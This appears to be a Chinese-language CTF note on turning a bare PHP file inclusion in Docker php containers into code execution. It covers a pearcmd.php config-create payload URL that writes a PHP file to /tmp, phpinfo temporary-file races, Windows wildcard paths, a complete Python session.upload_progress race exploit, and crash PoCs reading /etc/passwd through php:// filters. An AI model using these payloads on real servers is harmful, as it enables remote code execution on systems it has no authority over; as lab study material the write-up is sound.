Docker的 include $_GET文件包含
Docker的 include $_GET文件包含
这个文章是几个月前一个CTF比赛的wp中用到一个看起来很奇怪的payload就直接执行,后来才发现是p神去年一篇文章Docker PHP裸文件本地包含综述中有说到的, 所以就对这个文章做了一下记录, 笔记都要吃灰了现在还是放上来吧以免以后找不到了
如果以后还有其他新的方法出现再的话再慢慢加上来吧....
环境配置
启动docker容器 : docker run -d --name web -p 8080:80 -v $(pwd):/var/www/html php:7.4-apache
<?php
include $_REQUEST[0];
?>
pearcmd.php(只要是docker
容器直接拿下)
这个方法需要依赖PHP中用于管理扩展而使用的命令行工具pcel
里面的pcel/pear
至于pcel/pear
的更多信息可见和底层原理可见p神的文章,这里就不废话了pearcmd.php
的巧妙利用
在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear
才会安装。
但在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php
。
利用方法:
payload:
/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php
发送这个数据包,目标将会写入一个文件/tmp/hello.php
,其内容包含<?=phpinfo()?>
然后我们包含/tmp/hello.php
文件即可
日志文件
docker包含日志文件不可用,因为docker只运行Apache而没有其它的第三方日志文件,而Web服务日志重定向到了/dev/stdout
、/dev/stderr
php的dockerfile有声明 : 日志文件都被使用标准输出、标准错误的软链接替代了
# logs should go to stdout / stderr
ln -sfT /dev/stderr "$APACHE_LOG_DIR/error.log"; \
ln -sfT /dev/stdout "$APACHE_LOG_DIR/access.log"; \
ln -sfT /dev/stdout "$APACHE_LOG_DIR/other_vhosts_access.log"; \
# ...
包含这些Web日志会出现include(/dev/pts/0): failed to open stream: Permission denied
的错误,因为PHP没有权限包含设备文件
所以,利用日志包含来getshell的方法不可选(不过直接运行在服务器的时候包含日志文件是可以考虑的)
phpinfo与条件竞争
重点条件:
我们在web服务中对任意一个php文件上传文件时, 不管这个php文件有没有使用$_FILES的业务代码,我们上传的文件都会临时保存起来(默认是在/tmp下), 默认的文件名是phpxxxxxx(php+6个随机的数字和大小写字母)
如果我们可以包含这个内容和上传的文件一样的临时文件
就可以任意执行代码
但是问题就是我们不知道那6个随机字符导致文件名未知, 所以我们在这里还需要第一个条件: phpinfo
如果我们访问的php页面可以输出phpinfo信息那么就可以从中找到tmp_name
属性, 但需要注意的是我们每次刷新页面得到的tmp_name
都是不一样的, 并且在请求结束后服务器就会迅速删除这个临时文件, 所以我们还要用到第二个方法: 条件竞争
延缓临时文件被删除的方法:
- 开启
output_buffering
配置, 开启后数据会以流的形式输出,能让我们更快收到phpinfo的信息 - 在请求头、query string里插入大量垃圾字符来使phpinfo页面更大,返回的时间更久,但这个方法也需要开启
output_buffering
配置才有效
利用代碼見exp.py
Windows 通配符妙用
PHP在读取Windows文件时,会使用到FindFirstFileExW这个Win32 API来查找文件,而这个API是支持使用通配符的:
- DOS_STAR:即
<
,匹配0个以上的字符 - DOS_QM:即
>
,匹配1个字符 - DOS_DOT:即
"
,匹配点号
我们在Windows下,可以使用上述通配符来替代临时文件名中的随机字符串:C:\Windows\Temp\php<<
。(由于Windows内部的一些不太明确的原因,这里一般需要用两个<
来匹配多个字符)
根据前文给出的临时文件生命周期,我们上传的文件会在执行文件包含前被写入临时文件中;文件包含时我们借助Windows的通配符特性,在临时文件名未知的情况下成功包含,执行任意代码。
session.upload_progress
session.uplaod_progress功能实现临时文件的写入
利用条件:
session.upload_progress.enable
配置为True(大多数时候默认都是打开的)- 发送一个文件上传请求,其中包含一个文件表单和一个名字是
PHP_SESSION_UPLOAD_PROGRESS
的字段 - 请求的Cookie中包含Session ID
原理: session.upload_progress开启后用户上传文件的信息保存在session中, 同时这个session写在一个临时文件中(临时文件一般在/tmp下), 文件名为/tmp/sess_+PHPSESSID
注意 : 如果我们只上传一个文件,这里也是不会遗留下Session文件的,所以表单里必须有两个以上的文件上传。
exp见p神的文章: session.upload_progress与Session文件包含
import threading
import requests
from concurrent.futures import ThreadPoolExecutor, wait
target = 'http://192.168.1.162:8080/index.php'
session = requests.session()
flag = 'helloworld'
def upload(e: threading.Event):
files = [
('file', ('load.png', b'a' * 40960, 'image/png')),
]
data = {'PHP_SESSION_UPLOAD_PROGRESS': rf'''<?php file_put_contents('/tmp/success', '<?=phpinfo()?>'); echo('{flag}'); ?>'''}
while not e.is_set():
requests.post(
target,
data=data,
files=files,
cookies={'PHPSESSID': flag},
)
def write(e: threading.Event):
while not e.is_set():
response = requests.get(
f'{target}?file=/tmp/sess_{flag}',
)
if flag.encode() in response.content:
e.set()
if __name__ == '__main__':
futures = []
event = threading.Event()
pool = ThreadPoolExecutor(15)
for i in range(10):
futures.append(pool.submit(upload, event))
for i in range(5):
futures.append(pool.submit(write, event))
wait(futures)
PHP异常中断
如果可以让PHP进程在请求结束前出现异常就退出执行那么我们上传的文件导致生成的/tmp/phpxxxxxx
文件就不会被删除了
下面是几个让php异常中断的方法
方法一
include 'php://filter/string.strip_tags/resource=/etc/passwd';
这个Bug在7.1.20以后被修复,也没有留下更新日志,我们可以使用7.1.19版本的PHP进行尝试。
方法二
使php异常中断的代码:
file(urldecode('php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAFAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA'));
不过在文件包含场景下,这个POC涉及到data:
协议,会因为allow_url_include=Off
而失败
更多
https://bugs.php.net/bug.php?id=78875、https://bugs.php.net/bug.php?id=78876但都还有一些额外条件
利用exp
多次在php页面上传文件同时输入让php异常中断的路径就能让/tmp目录下有多个/tmp/phpxxxxxx接下来我们就可以写脚本直接爆破文件名了